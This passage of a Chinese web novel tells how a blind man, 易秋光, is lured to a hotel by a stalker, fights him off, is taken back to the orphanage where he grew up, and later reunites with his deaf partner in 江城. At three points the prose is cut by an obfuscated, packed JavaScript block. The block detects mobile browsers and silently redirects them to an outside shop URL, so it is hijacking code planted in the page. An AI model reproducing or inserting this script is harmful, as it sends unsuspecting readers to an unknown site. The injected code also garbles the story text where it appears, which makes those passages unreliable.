他还以为老师会给他拿来一点吃的,易秋光估计着,袋子应该不会大,到时候直接往旅行袋里一放就行。 可他没想到的是,老师提来了两大袋东西。 老师说,袋子里有刚买的橙子和橘子,还有一些腊肉,快过年了嘛,虽说人在外地,但还是得吃点有年味的菜。 老师还在说着,易秋光越听心里越难受,他刚到福利院的时候,谁都不爱搭理,是老师每天陪着他,时不时还会夸夸他,老师教他盲文,教他写字,教他画画……易秋光以前还问过老师,他为什么要学这些。 出了社会,能用上盲文的地方实在是太少,画画也是一样,他画出来的画,自己都看不见,靠触碰也想象不出来,写字就更不用说了,写得难看,老师有时候都看不懂。 老师听完他的话后,先是“嗯”了声,然后说道:“可是你小时候很喜欢,有些东西,不一定非要有意义才去学,能让你感觉到快乐也是一种意义,我以前就想着,只要你能快快乐乐,健健康康地长大,那就是最好最好的事情了。” 易秋光已经健康快乐地长大了,但老师也变老了,刚来福利院的时候,老师问他想不想给自己取个名字,易秋光点了点头,但他也不知道应该给自己取个什么样的名字。 过了一会儿,老师拿来一张纸。 老师说,这上面写着百家姓,易秋光不认识也没关系,只要他用手去指就好了,易秋光犹犹豫豫地伸出手,然后落下。 老师说,被他指到的那个姓,是易。 他现在是有姓的小孩儿了。 老师又问他,两个字的名字和三个字的名字,他更喜欢哪一种,易秋光当时想了好一会儿,他觉得两个字的名字好听,三个字的也好听,但他现在觉得好幸福,取名字的过程也很美好,那就选三个字的名字吧。 易秋光只希望,这个过程能再久一些。 但他叫什么名字才好呢,老师也琢磨了一会儿,最后给他定下了最后一个字,光。 老师说,这个字是对他最好的祝福。 然后老师问他:“你有什么最喜欢的吗?” 易秋光想了想,说道:“我喜欢秋天,因为秋天不冷不热,捡到的那些吃的可以放好几天,不会坏,还不会被冻硬,穿衣服也方便,有时候穿一件就可以了,不会热得出汗,也不会冻得一直咳嗽。” 易秋光。 一个喜欢秋季的孩子,一个得到了祝福的孩子。 老师每天都会告诉易秋光,你一定要开开心心的,好好长大,现在的老师也是这样对易秋光说的。 “去江城一定要照顾好自己,每天都要开开心心的,别嫌我唠叨,你之前怎么说都还是在洪城待着,突然要跑这么远……”老师说完就往边上走了两步,再回来时,把一个有点重的东西放到易秋光怀里,“拿着,我昨天刚买的一提酸奶,你路上喝点。” “拿一瓶就够了……”易秋光顿了顿,又说,“东西太多了拿不下,我先去找乔辽,等他来了帮我一起拿。” 易秋光又开始期待了,他想着,乔辽现在应该正在出租屋里收拾,他们上次虽说打了一架,但他们怎么说也是在一起这么多年。 打一架肯定是打不散的。 乔辽估计就是有点生气,只要他过去找这人,抱着哄一哄,然后再亲一亲就好了。 易秋光是走着回出租屋的,他想着反正也没多远,下次再回洪城也不知道是什么时候了,他正好还能好好听一听洪城的声音。 到了这种时候,他其实还是挺舍不得的。 易秋光一直都觉得,洪城的风都是有气味的,这种气味存在于他的记忆里,他慢慢走着,听着周围的声音。 只可惜,他现在闻不到味道,还是挺遗憾的。 下一秒,易秋光放慢步子,仔细听着周围的一切,先是车流声,然后是路人的聊天声和笑声,马路对面还有一家卖面包的店子,一直在循环播放着“面包买一送一”,声音大得不行。 还有什么声音呢……易秋光微偏着头,然后,他听见了乔辽的脚步声。 易秋光瞬间停了下来。 这道脚步声离他越来越近,最后停在他面前,这人……是乔辽吧。 易秋光朝前伸出手,牵住这人。 他最先摸到的,是手套,再往上就是那条铃铛手链,易秋光用食指轻轻拨动铃铛,心里也跟着踏实不少。 乔辽……终于来接他了。 再然后,乔辽带着他往前走着。 这不是回出租屋的方向,易秋光想着,乔辽应该是要带他去别的地方,可能是想买些什么东西拿着车上吃,或是带着他去哪里逛一逛。 无所谓了,去哪里都可以,只要乔辽在他身边就行。 可乔辽也不带着他停下来,就是一直往前走,再然后,乔辽带着他拐了个弯,似乎是走进了什么地方,往前走了几步后,易秋光听见有人说:“您好,请问您是要办理入住吗?” 这是哪儿啊?酒店? 乔辽带他来酒店干什么…… 易秋光捏了捏乔辽的掌心,接着在这人掌心画出一个问号。 他想问乔辽,为什么要来这里,我们等会儿不是要去车站吗? 可乔辽没有回应他的话,而是带着他继续往前走,过了一会儿后,乔辽带着他停下。 盲杖在地面敲击的声音变了,接着就是缓缓上行的感觉,他们现在,应该是在电梯里。 也不知道为什么,易秋光突然就挺心慌的,他把乔辽的手握得更紧,试图找到一些安全感。 可他的心慌越来越强烈,当乔辽牵着他往外走时,易秋光的胳膊碰到了电梯门,这一下撞上去还有点疼。 易秋光拉着乔辽停下来,松开手,接着指了指自己的胳膊。 你今天怎么回事?撞到我了啊,好疼。 到了这种时候,乔辽应该会帮他揉揉胳膊,然后在他额头亲一亲。 可今天,乔辽没有管他。 这人再次牵起他的手,带着他往前走。 乔辽变了,短短几天就变了吗? 易秋光想不明白,他干脆用盲杖碰了碰乔辽的鞋,意思是:你怎么了? 只要他用盲杖碰上乔辽的鞋,那就是询问的意思,乔辽一定明白,也一定会为他停下脚步。 乔辽确实停下了,但他拿走了易秋光的盲杖。 几乎是一瞬间的事,易秋光都来不及反应,紧接着,乔辽又带着他走起来,这次的步子明显要比刚才快,但易秋光已经不想再走了。 因为这个乔辽给他的感觉不对劲。 现在牵着他的人,更像是佟舟。 易秋光停了下来,伸出手往前摸索着想要拿回盲杖,但他听见的,却是盲杖断掉的声音。 心慌到极点,还有点想吐,这个地方太陌生了,没有盲杖,易秋光就连一步都不敢迈出去。 他深呼吸一口气,想甩开这人的手,但这个人实在是握得太紧,易秋光努力让自己冷静下来,他往前迈出一步,再然后,他就可以踹这人一脚。 可他这一脚都还没踹出去,这人立马放开了手,往旁边走了两步,开口说道:“想什么呢,就你现在这样,还想打我?” 这是佟舟的声音,这人好像还在笑。 脚步声再次响起,佟舟还是学着他的步子,这人走到易秋光身边,握住他的手腕。 佟舟现在没戴手套了,而且这次,他用的力气很大,像是生怕易秋光不会疼,这种感觉,就好像易秋光只是一件物品,只能任人摆布。 “你知道我等今天等了多久吗,从见到你的那天起,我就开始等了,”佟舟越走越快,语气里的笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140588|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也变得更浓,“你放心,我会好好对你,会让你很舒服的,等会儿……你什么都不用做,好好享受就行。” 佟舟说出来的话,简直让易秋光恶心到极点。 他现在被佟舟拽着往前走,根本就跟不上这人的步子,易秋光有好几次都差点摔倒,他想伸手去拽这人,但他看不见,什么都拽不住。 在几步路之后,佟舟终于停了下来,估计是走到房间门口了。 房间肯定不能进去,易秋光只能想办法在门口耗着,然后找机会,弄死佟舟。 “等一下,”易秋光压着情绪,冲着佟舟笑了笑,“你……是不是喜欢我?” “当然,我肯定喜欢你,”佟舟抬手摸了摸易秋光的脸,“你都不知道我为了你费了多少心思,你还在公司的时候,我每天都看着你,但你总是不肯让我靠近,那我该怎么办呢,那我……就只能让同事去欺负你,可我每次看见你被欺负,心里还挺不舒服的,你那副受了气的样子真的好可怜,可是没关系,我会帮你的,我一次又一次地站出来帮你,你终于还是对我有了一点好脸色,可你为什么要辞职?就这么一份破工作,要不是为了你,我早就不干了,我为了你留在那儿,你却说走就走,秋光……是你先对不起我的。我哪里不好了,我比那个聋子好多了!他还敢让你一个人在路上走,你知道这样会有多危险吗,要不是我一直跟着你,你都不知道会出什么事!他就是不管你,他一点都不爱你,会管你的人只有我,最爱你的人,也只能是我。” “是我对不起你,”易秋光伸出手,在佟舟脸上摸了摸,“我现在知道错了,但你这样会让我害怕,你抱抱我好不好,就当是安慰我了。” “进去再抱,”佟舟偏头在易秋光掌心蹭了蹭,接着把他拉进怀里,在他额头上亲了一下,“等我们进了房间,你想怎么抱都可以。” 这个距离就可以了,就是现在。 易秋光瞬间抬手勒住佟舟的脖子,接着就踹了这人一脚。 他对这附近的环境太不熟悉,只敢把这人按在地上打,情绪实在是压抑太久,易秋光胡乱挥着拳,一句话都不说。 可能是动静太大,也可能是佟舟的骂声太吵,易秋光突然听见房间门被打开的声音,这声音离他有些距离。 房间里走出来一个人,几秒后,这人大声问了一句:“秋光?是秋光吗?” 易秋光懒得搭理,现在这种情况,他也不想去琢磨这人到底是谁。 但这人朝他走过来了,甚至还想把他拉开。 “别打了,”这人说,“再打就出事了!” “我凭什么不打!”易秋光偏头望向这人,吼道,“你知道他是怎么对我的吗,你说让我别打就别打了?不可能!” 这人也不说话了,就站在那里,也不知道过了多久,易秋光的拳头没有停下,佟舟的骂声却停下了。 “秋光,”边上站着的那个人似乎是蹲了下来,“真的不能再打了,再打下去会出事的。” “他死了吗,”易秋光笑着问这人,“他,死了没?” “没死……”这人顿了顿又说,“但快了,你真的不能再打了,这是在酒店,人太多,我先带你走。” 快死了? 易秋光在佟舟脸上摸索着,想摸摸看这人还有没有呼吸。 可他最先摸上的,是带着湿润感的东西,易秋光皱着眉准备再摸一下,但身边人拉住他的胳膊,说道:“是血,别再摸了,我带你走。” 易秋光被这人带着站起来,这人问他:“你的盲杖呢?” “被他弄坏了。”易秋光往佟舟的方向指了指。 这人沉默一会儿,说道:“不早了,我送你回去。” “不用了,我自己回去,”易秋光说,“你能不能帮我看一下,断掉的盲杖在哪里?” 这人说:“在前面。” 易秋光听见脚步声从自己身边走过,再然后就是这人走回自己身边,说出一句:“给你。” 易秋光接过盲杖,他心底那点希望也彻底没了。 这根盲杖没办法带他回出租屋,甚至都不能带着他走出这家酒店。 他偏过头问身边人:“现在几点了?” 说完这话,易秋光干脆摸索着去碰身侧的墙,然后顺着墙慢慢往前走。 身边人说:“十点多了。” “十点多少?”易秋光问。 这人说:“十点二十,你要回家的话,我可以送你,我开车来的,又不耽误事,再说了,你盲杖也坏了,一个人出去不方便,这边人挺多的,盲道附近都是夜市摊,路不好走。” 易秋光没再说话,他努力让自己静下心来,认真听了听周围的声音,接着,他又把身边人的脚步声和说话声在脑子里过了一遍。 终于,他开口说道:“那就麻烦你了,林再川。” 55. 钥匙 林再川听见易秋光这么说,立马问道:“需要我带着你走吗?” “我握着你胳膊吧,”易秋光说,“稍微快点走,没事的,我赶时间。” 林再川说了声“好”,但他的步子还是不算快,估计是怕易秋光跟不上。 他们一起走到地下停车场,林再川帮易秋光打开车门,让他先上了车。 车里挺暖和的,易秋光却觉得浑身发冷,等林再川上车后,他连忙把地址告诉这人,又问道:“从这里过去要多久?” “要不了多长时间,”林再川说,“我看导航了,十几分钟就能到。” 十几分钟没多长,但易秋光坐在车上就是觉得挺煎熬的,他紧握着手中那根断掉的盲杖,一颗心都快要蹦出去。 当车缓缓停下,易秋光简直一刻都不能再等,他把断掉的盲杖放到座椅上,立马打开车门下了车,但下车的第一步就踩得不太稳,他一下子跪倒在地,林再川听见这动静被吓了一跳,连忙下车把他扶了起来。 去出租屋的这一路,林再川一句话都没说,易秋光没让他帮忙,这人就一直跟在边上,直到上楼梯的时候,林再川才问了一句:“需要我带着你走吗?” “不用,我能行。”易秋光是这么说的。 但他上楼梯还是麻烦了些,有好几次都差点摔倒,当他站在出租屋门口时,易秋光那股子委屈劲一下子就憋不住了。 “我没带钥匙……”易秋光哭了起来,“他听不见我的敲门声。” “你给他打个电话,”林再川安慰他道,“打个电话就好了。” “我没有手机啊,他也没有……”易秋光边哭边敲门,“他会不会已经走了啊,我们本来约好了今天去江城的,我也没想到今天会发生这种事……我真的没想到。” “你别哭,我没带纸,你别哭了,”林再川说完这句,突然顿了顿,又说道,“有人上楼了,说不定是他回来了。” 听见这话,易秋光马上擦了擦脸上的眼泪,他仔细听着这道脚步声,但可惜,脚步声不是乔辽的。 可这脚步声还在往上,最后停在了易秋光面前。 “诶,你怎么来了?”这声音,是房东。 这话是什么意思?易秋光都还没开口去问。 房东又说道:“和你一起住的那个小伙子已经退租了啊,房间里都搬空了,你们忘东西了啊?” 退租,搬空。 易秋光已经不知道该说些什么了,他小声说了句“没有”,接着就摸索着墙,慢慢扶着墙往下走。 林再川也不说话了,就一直跟在他边上,当他们走到车边的时候,林再川才问他:“你饿不饿,我去给你买点吃的。” “不饿,”易秋光说,“你再送我去个地方吧。” 听见地址的时候,林再川沉默了好一会儿,但他还是什么都不问。 到福利院后,林再川才开口问他:“你要去找谁,往哪边走?” “谁都不找,我是在这里长大的,”易秋光拿上那根断掉的盲杖,下了车后对他说,“你帮我看看哪里有灯亮着,然后带我过去就行,麻烦你了。” “不麻烦,”林再川走到他边上,说道,“能帮上你就好。” 他带着易秋光慢慢往前走,过了一会儿后,易秋光听见了老师的声音。 “你手上是怎么弄的,怎么都是血啊,”老师的语气听着挺担心的,“你不是说带着乔辽一起回来吗,怎么弄成这样回来了?” “我没事,盲杖坏了,走路没注意就摔了一跤,”易秋光晃了晃手中的盲杖,笑了笑说道,“半路上遇到朋友了,他正好开了车,就把我带回来了。” 老师又说:“那乔辽呢?” “他啊……他最近有点事要处理,”易秋光说,“乔辽说,等年后再去江城,我这段时间就不走了,好好陪您过个年。” 老师明显不太相信易秋光说的话,叹出一口气后,又问他:“你饿不饿,我去煮点面。” 易秋光都还没回答,老师就已经去煮面了,听着老师走远的脚步声,易秋光把坏掉的盲杖放到桌上,接着就在桌面摸了摸,摸到一包湿巾后,他抽出两张,擦了擦手,偏头望向身边的林再川,说道:“坐会儿吧,别站着了。” 也是没想到,林再川竟然是那种说一步做一步的人,易秋光让他坐会儿,这人就坐着,易秋光让他吃个橘子,这人就接过橘子慢慢剥皮,吃的时候还分给易秋光一半。 过了一会儿后,老师煮好了面,还蒸了一些饺子,端来放到桌上。 饺子和面都是两份,老师说,晚上太冷了,既然朋友来了就在这里住一晚。 最后,老师又对林再川说:“谢谢你带秋光回来。” 说完这句,老师就回房间休息了。 林再川现在又不动了,易秋光偏头望向他的方向,说道:“吃啊。” “好,”过了几秒后,林再川说,“好吃。” 这人突然就变得好沉默,比以前沉默多了。 一碗面吃完,蒸饺也吃了大半,易秋光实在是撑得不行,林再川在边上闷着打了个饱嗝,还是一句话都不说。 易秋光站起身慢慢收拾着碗筷,对林再川说道:“老师让你今天在这里住,你就跟着我一起凑合一夜吧,我房间有两张床,那个小孩儿读大学去了,还没到放假的时候。” “我来收拾就行,”林再川接过他手里的碗筷,然后就是抽出几张卫生纸的声音,大概是在擦桌子,几秒后,这人问道,“洗碗的地方在哪里?” “我带你去。”易秋光拿上坏掉的盲杖,带着他慢慢往前走。 现在的易秋光,也不用再扶着墙走了。 福利院的环境对他而言还是挺熟悉的,偶尔会碰到一些东西,但这里所有带着尖角的东西都被贴上了防撞条,就算是撞上去也不会疼。 他带着林再川去了厨房,两个人分工洗完了碗,再然后就是回房间。 易秋光先是把那根坏掉的盲杖放好,接着就从衣柜里找出一套家居服,递给林再川后,又带着这人去洗澡的地方,做完这件事,他还得再回房间,给林再川铺个床,一通忙活下来,易秋光终于也洗完了澡,躺到床上。 他躺在那儿沉默着,也不知道该干些什么,睡觉吗?可他一点都不想睡。 易秋光就这么躺在那儿,一动不动。 过了一会儿后,他听见了翻身的声音,林再川小声喊着:“秋光。” “嗯?”易秋光问他,“你还没睡啊。” “我睡不着,”林再川犹豫半天,终于问了一句,“你今天和佟舟是怎么回事?” 易秋光沉默着,几分钟后,他把佟舟做过的那些事全都说了出来,说完的下一秒,林再川都快要从床上跳起来了。 “我的天啊他疯了吧,还好我这次来洪城出差了,要是我这趟不来,我都不会知道这种事!他怎么是这种东西啊,你们公司的产品我不会再买了,我还要投诉他,我要把他挂网上,还要喊我同事一起挂他,我要买推流,我……我操!”林再川说完又用力地拍了一下被子,“我要去干死他,我要把他的头拧下来,他长得跟个人似的,结果连狗不是,骂他畜生都太对得起他了,这人怎么能长歪成这样啊,这得是神经病吧!” “你好吵……什么挂什么流啊,我听不懂,你别瞎闹,我已经辞职了,你买不买那家公司的产品都随你,产品是好的,你倒也不用这么激动,该买还是买,”易秋光叹出一口气,“我只希望,佟舟以后别再出现了。” “那个什么乔辽,是你男朋友吧,”林再川顿了顿,说道,“你以后准备怎么办,有想过吗?” “不知道,”易秋光说,“脑子里一片空白,我现在什么事都想不明白,连说话都觉得累。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140589|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “那就不说了,”林再川说,“睡觉吧,睡一觉起来,就什么都好了。” 这种安慰的话,是最没用的。 因为易秋光一整夜都没睡,但他又什么都没想,那些情绪全都压在心里,他在等着。 等着乔辽来接他,等着乔辽牵住他的手,等着乔辽摸一摸他的头发,然后再把他抱进怀里。 到了那个时候,易秋光就可以好好地大哭一场了。 他现在不能哭,他现在应该,好好等着乔辽。 可他等了好久,这一等,就等到了三月。 他买了新盲杖,但旧的还是没丢,因为那根盲杖是乔辽给他买的,他用了好多年,就算是没办法再用了,那根盲杖也会被他好好收着。 在这段时间里,林再川时不时就会到福利院来一趟,这人每次过来都带着一大堆东西,有时候是吃的喝的,还有时候是盲文绘本和玩具。 那些小孩儿也都熟悉林再川了,有时候还会让林再川给他们念绘本,好在绘本上还有文字,林再川讲完一本,孩子们就会让他再讲一本,这人每次都会答应下来,一遍又一遍地去讲那些故事。 易秋光突然就想到,林再川之前提过的那个工作,叫什么大棉花工作室,好像还是什么纯棉的……出卖声音真的能挣钱吗? 最重要的是,那个工作室正好就在江城。 要是他去江城,是不是就能见到乔辽了。 当林再川又念完一本盲文绘本时,易秋光喊了他一声,问道:“你那个什么大棉花工作室,我还能去吗?” “什么大棉花?哪儿来的棉花?什么花?”林再川愣了好几秒,说道,“祖宗……工作室的名字叫失眠行星,你当然可以来,随时欢迎。” 易秋光最终还是决定去江城,在三月初的春天,他带着老师给的一大堆东西,还有自己的行李,上了林再川的车。 老师站在车边说了好多话,说得易秋光都快要舍不得走了,最后,老师递给他一张盲文纸,易秋光接过后摸了摸,上面戳出来的内容都是数字,应该是电话号码。 “这是我的电话,要是遇到事儿了想找人说说话,你可以随时打给我,江城太远了,你没事也可以给我打电话,”老师揉了揉易秋光的头发,说道,“我们秋光啊……怎么就长大了呢,一下子就要走这么远了。” 易秋光正准备开口,老师打断他的话,又说道:“借你朋友的手机给我打个电话也行,反正只要让我知道你一切都好,那就行了。” 买手机这件事,其实易秋光根本就没考虑过,但现在这种情况,他可能真的需要买个手机。 手机可以联系老师,还可以找到乔辽。 但他也不知道,买手机需要花多少钱。 好好挣钱吧,只要挣到了钱,他就可以买手机了。 去江城的一路上,易秋光都没说话,林再川倒是没闲下来,这人一边开车一边放广播剧给他听,有时候听见什么很奇怪的动静,林再川就会马上来一句:“剧情需要,你把耳朵捂上。” 每当这种时候,易秋光就会特别敷衍地捂住耳朵,然后说道:“嗯,听不见了。” 去江城的路太长,车窗都关得紧紧的,易秋光闻不到什么气味,也听不见外面的声音,他甚至都不知道这一路用了多少时间。 当车窗终于被打开的时候,林再川说:“下高速有一会儿了,江城今天有点冷,但外面挺热闹的,可吵了。” 易秋光往车窗那边挪了挪,仔细听着外面的声音,确实很热闹,但对他而言,不算吵。 他就这么听了好久,当车停下的时候,林再川对他说:“到工作室了,我先带你去感受一下氛围。” 易秋光打开车门下车,他打开盲杖,在地面轻敲着。 林再川带着易秋光往前走了两步,笑着对他说:“欢迎来到失眠行星。” 56. 睡吧 失眠行星很好,林再川也很好,他带着易秋光在工作室里待了会儿,到了晚饭点的时候,他们一起吃了饭,林再川又带着他去江边的公园散步。 春天就是这样的。 夜晚的风很温柔,春的气息全都在风中。 他慢慢往前走着,有人从他边上走过,易秋光听见这人说:“公园里的花都开了,真好看啊。” 易秋光往两边望了望,接着又偏头去问林再川:“是什么花?有多好看?” “不认识,有多好看我也说不出来,颜色挺多的,有粉的还有红的,”林再川说,“这条路的两边都是树,树上开满了花,就是没什么花香味,隐约能闻到一点。” 易秋光“嗯”了声,说道:“香味是挺淡的。” 他轻敲着盲杖继续往前,脑子里却乱七八糟的,非要问他此刻正在想什么,易秋光肯定会说,好想乔辽。 我好想乔辽。 想让乔辽牵着我散步,想让乔辽别离开我,想抱抱乔辽。 但他已经找不到乔辽了。 “秋光,”林再川喊了他一声,接着说道,“你考虑好了吗,要不要到失眠行星来,我这边随时欢迎你,只要你点头。” “我可能学得有点慢,”易秋光说,“但这份工作还挺有意思的,我很喜欢。” 林再川现在挺开心的,听语气就能听出来,这人正在笑着:“那你给自己取个名字吧,取个你喜欢的。” 取名字啊…… 易秋光想了一会儿,说道:“就叫三季吧,春夏秋冬里,我最喜欢秋天。” 喜欢秋天的三季买了手机,他存上老师的号码,给老师打了个电话报平安。 那天晚上,易秋光就和以前一样,从大袋子里拿东西吃,老师把橘子和橙子混装着,易秋光每次都是随手一拿,拿到什么就吃什么。 但今天他摸到了袋子底部,应该是橘子和橙子快要吃完了,易秋光又往袋子边上摸了摸,突然就摸到一个只有巴掌那么大的小袋子。 易秋光把这个小袋子拿出来,打开后摸了摸里面的东西,刚开始他还以为自己猜错了,这东西怎么摸都像是现金。 当他摸到这东西上面的盲文时,才确定了自己的想法,他没猜错,这真的是现金,还都是一百的现金。 易秋光在心底叹出一口气,把这些钱好好收起来,他想把生活过得更好,不让老师担心,成为老师的骄傲。 他开始试着去一些陌生的地方,不带林再川,只带上手机和盲杖。 当盲杖碰上什么东西时,易秋光的第一反应就是说“不好意思”,终于,易秋光能够大步往前走了,他的步子,不再是以前那样了。 网友都说,三季运气真好,刚下海就火了,三季是温柔的,说话总是带着笑,一听声音就知道,这是一个很好相处的人。 但只有易秋光知道,他的温柔人设是假的,他只是希望乔辽能找到自己,乔辽听不见没关系,郭宝卓能听见就行。 郭宝卓应该能听出他的声音,然后再告诉乔辽。 易秋光也是没想到,他明明已经不用再装温柔了,但他却愿意这样,就算乔辽不在身边,他也要继续装下去。 因为乔辽只认识这样的他。 他不敢变。 可是啊,这个很温柔的易秋光总是会在夜里一直骂乔辽,骂完之后再哭一场。 易秋光都开始怀疑,乔辽离开他的时候,给他留下的是眼泪。 这些眼泪一直积攒着,越攒越多,在洪城时,他还能忍着,可到了江城之后,这些眼泪就再也憋不住了。 他每天都会在夜里大哭一场,白天又会笑着去工作。 眼泪流不干,乔辽太难找。 易秋光不适应江城的一切,租的房子住着不适应,一个人待着也不适应,尽管林再川已经说过无数次,有任何事情需要帮忙都可以联系他,但易秋光还是选择自己解决。 摔倒自己站起来,摔了碗自己收拾,生活不方便,每天的工作也很累。 他有次回出租屋,半路上就开始迷路,问了路人才知道,原来是高层住户家里的玻璃自爆了,路上都是碎玻璃,物业拉了警戒线,想要回去就只能绕着走。 易秋光当时点了点头,正准备麻烦这人带着自己回去一下,但下一秒,这人就走了,没了办法,他只能自己慢慢回去,也是没想到,他竟然能在小区里绕一个多小时。 好不容易回了家,易秋光累得不行,只想洗完澡赶紧睡觉,但这一夜睡得不太好,一直都在做梦。 在梦里,他先是听见窗户自爆的声音,然后就是手心传来疼痛感,就像是有无数碎玻璃扎进肉里一样,疼得他双手都在颤抖,他站在原地不敢动,满脑子只有一个问题。 乔辽去哪儿了? 乔辽……你来帮我吧。 我一个人,真的不行。 但乔辽还是没有来,这个梦的最后,就是易秋光在极大的恐慌中惊醒。 在江城待了一年,易秋光通过努力买了房子,他现在遇到事情可以自己解决,就连以前不会做的事情也能摸索着慢慢完成,但林再川还是对他挺不放心的。 易秋光每次都让这人放宽心,他是个成年人,又不是三岁半的小孩儿。 但林再川听不进去,他总是担心有人会欺负易秋光,担心佟舟那样的人还会再出现。 这种过度担心也让易秋光有些困扰,但他知道,林再川的心是好的,林再川也是一个很好的朋友。 但这人却对易秋光说:“我喜欢你。” 易秋光当时拒绝得非常果断,他说:“可我不喜欢你啊,而且……我还在等他。” 林再川问他:“等谁?” “等乔辽,”易秋光说,“他一定会来找我的。” 他一定会来的。 他会找到我,牵住我,把我搂入怀中。 易秋光等了两年,等到他都怀疑乔辽再也不会出现了,乔辽好像是不要他了。 好像,乔辽真的不想管他了。 回忆到这里的时候,乔辽把他的嘴捂住了。 “我不可能不要你,也不会不管你,”乔辽把易秋光抱得更紧,偏头轻轻抵了一下易秋光的脑袋,接着松开捂着嘴的手,亲了这人一下,“秋光,我真的很爱你,也真的……很对不起你。” “你怎么总说对不起,我没觉得你对不起我,我就是觉得……你好像不相信我,不信我对你的感情,”易秋光抬手摸了摸他的脸,有些无奈地说,“你又哭,你怎么这么爱哭啊,别哭了,我现在不是好好的吗,还有什么好哭的。” 乔辽的语言系统大概是坏了,他嘀嘀咕咕半天就是说不出来一句完整的话,蹦出来的那些字还全都带着口音,听着就像外地人一样,最后,这个外地人选择把脑袋搁在易秋光肩膀上一直哭。 易秋光现在还没退烧,整个人都是晕晕乎乎的,他只觉得,自己脖子上好像在下雨。 说完那些两年前的事,他仿佛又把那些事情重新经历了一次,此时的情绪挺复杂的,有庆幸,有害怕,但他也很生气,还挺恨自己的。 庆幸,是因为他真的等到了乔辽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140590|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 害怕,是因为那些过去很难忘记,佟舟做的事情对易秋光而言,全都是噩梦。 生气,是因为乔辽没早点去福利院接他。 恨自己,是因为自己看不见,因为自己没早点回出租屋去找乔辽。 易秋光有时候也会想着,要是他能看见,那是不是就不会有这么多事情发生,要是他能看见,那他和乔辽的沟通是不是就不会那么难沟通了,要是他能看见…… 算了,不可能的。 易秋光从没怪过乔辽,听不见又不是乔辽的错,再说了,爱情是双向的选择。 他和乔辽之间不存在谁更需要帮助,感情是平等的,他们缺少的只是沟通。 他们以前总是把沟通这件事想得太简单,也从不担心感情里有矛盾,总想着,只要两个人还在一起,那就不会有任何问题,没有什么事情是解决不了的。 他们熟悉彼此的生活习惯,自以为很了解对方的心情,在这种情况下,盲目的自信也会被无限扩大。 他们是分不开的,这是他们一直都相信的事情。 但他们还是分开了两年。 大概,人是需要成长的,他也需要离开乔辽,学会大步往前,学会自己生活,乔辽也需要去听见世界的声音,学会开口说话。 分开的这两年,或许不是坏事,但也算不上是绝对的好事。 只能说,还好他们依旧爱着彼此。 乔辽不太好哄,易秋光哄着哄着就睡着了,也不知道睡了多久,反正最后是被乔辽叫醒的。 这人说他还在发烧,接着就把药放到他手上,说道:“把药喝了再接着睡。” 易秋光皱着眉喝完药,最后还得到了一个亲吻奖励,他迷迷糊糊地让乔辽来睡觉,乔辽说他等会儿就来。 再然后,易秋光听见阳台上的烘干机开始工作,估计是乔辽在烘干被套。 过了一会儿后,乔辽回了房间,熟悉的安全感也回到易秋光身边。 易秋光捧着他的脸,和他抵着额头蹭了蹭,说道:“你亲了我这么多次,会不会也得流感啊……” “我身体好,不会的,”乔辽揉了揉他的头发,“睡吧。” “你也睡,把助听器和耳蜗摘下来再睡,”易秋光说,“戴着睡不舒服吧。” 乔辽“嗯”了声:“是有点,但没关系。” “摘了睡,好好睡一觉,”易秋光说,“等我睡醒了就叫你。” “你怎么叫我?”乔辽问他,“是抱着我晃一晃,还是亲一亲?” 易秋光想了想,说道:“我给你一巴掌,你马上就能醒。” “这是奖励吗,”乔辽笑着说,“那我很喜欢了。” 乔辽怎么是这种玩意儿…… 这是什么奇奇怪怪的癖好! 易秋光抬手在他脸上轻轻拍了拍,问道:“这个力度怎么样,喜欢吗?” “还行,你可以再重一点,”乔辽说,“我不怕疼,就怕你不敢。” “睡吧……你等着我睡醒了奖励你,”易秋光扯了扯被子,“快摘下来,弄好之后过来抱我。” “好。”乔辽说完这句,连忙拿起手机给外卖平台发了个条消息,也不知道他买的那些食材什么时候会到,要是来得太早,把易秋光吵醒就不太好了,干脆就让外卖员送到之后,把东西放在门口。 做完这件事,乔辽把助听器和耳蜗摘下来拿去充电,他的世界也瞬间没了声音。 回到床上后,乔辽抱住易秋光亲了亲。 他在心里想着:秋光,我爱你,睡吧。 57. 哥哥 这一觉睡了好久,乔辽已经很久没睡得这么踏实了,易秋光也没有用打巴掌叫醒他,乔辽是自然醒的。 但他睡醒后,身边根本就没人。 乔辽第一反应就是愣住,接着立马下床戴上助听器和耳蜗。 当声音再次回归,他听见了易秋光的声音,听着像是在打电话,应该是在聊工作上的事。 乔辽出了房间,都还没来得及走到易秋光边上,这人就朝他这边望了过来,接着晃了晃手中的手机,然后往餐桌上指了一下。 他顺着易秋光手指的方向看过去,餐桌上放着一碗面和一杯豆浆。 